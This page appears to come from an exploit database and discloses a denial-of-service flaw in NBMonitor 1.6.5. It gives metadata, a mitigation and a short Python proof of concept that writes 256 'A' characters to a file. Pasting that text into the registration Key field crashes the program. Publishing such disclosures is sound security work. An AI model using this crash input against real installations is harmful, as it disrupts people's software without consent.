header-logo
Suggest Exploit
vendor:
NBMonitor
by:
Alejandra Sánchez
6.8
CVSS
MEDIUM
Denial of Service
400
CWE
Product Name: NBMonitor
Affected Version From: 1.6.5.0
Affected Version To: 1.6.5.0
Patch Exists: YES
Related CWE: N/A
CPE: a:nsauditor:nbmonitor:1.6.5.0
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows 10
2019

NBMonitor 1.6.5 – ‘Key’ Denial of Service (PoC)

NBMonitor 1.6.5 is vulnerable to a denial of service attack when a maliciously crafted input is sent to the 'Key' field. An attacker can exploit this vulnerability by running the python script 'NBMonitor.py', which will create a new file 'PoC.txt'. The attacker can then copy the text from the generated PoC.txt file to clipboard, open NBMonitor.exe, go to Register > Enter Registration Code, write anything in 'Name' field, paste clipboard in 'Key' field and click on button -> Ok, which will cause the application to crash.

Mitigation:

Upgrade to the latest version of NBMonitor 1.6.5 or later.
Source

Exploit-DB raw data:

# -*- coding: utf-8 -*-
# Exploit Title: NBMonitor 1.6.5 - 'Key' Denial of Service (PoC)
# Date: 15/02/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.nsauditor.com/
# Software Link: http://www.nbmonitor.com/downloads/nbmonitor_setup.exe
# Version: 1.6.5.0
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "NBMonitor.py", it will create a new file "PoC.txt"
# 2.- Copy the text from the generated PoC.txt file to clipboard
# 3.- Open NBMonitor.exe 
# 4.- Go to Register > Enter Registration Code...
# 5.- Write anything in 'Name' field
# 6.- Paste clipboard in 'Key' field
# 7.- Click on button -> Ok
# 8.- Crashed

buffer = "\x41" * 256
f = open ("PoC.txt", "w")
f.write(buffer)
f.close()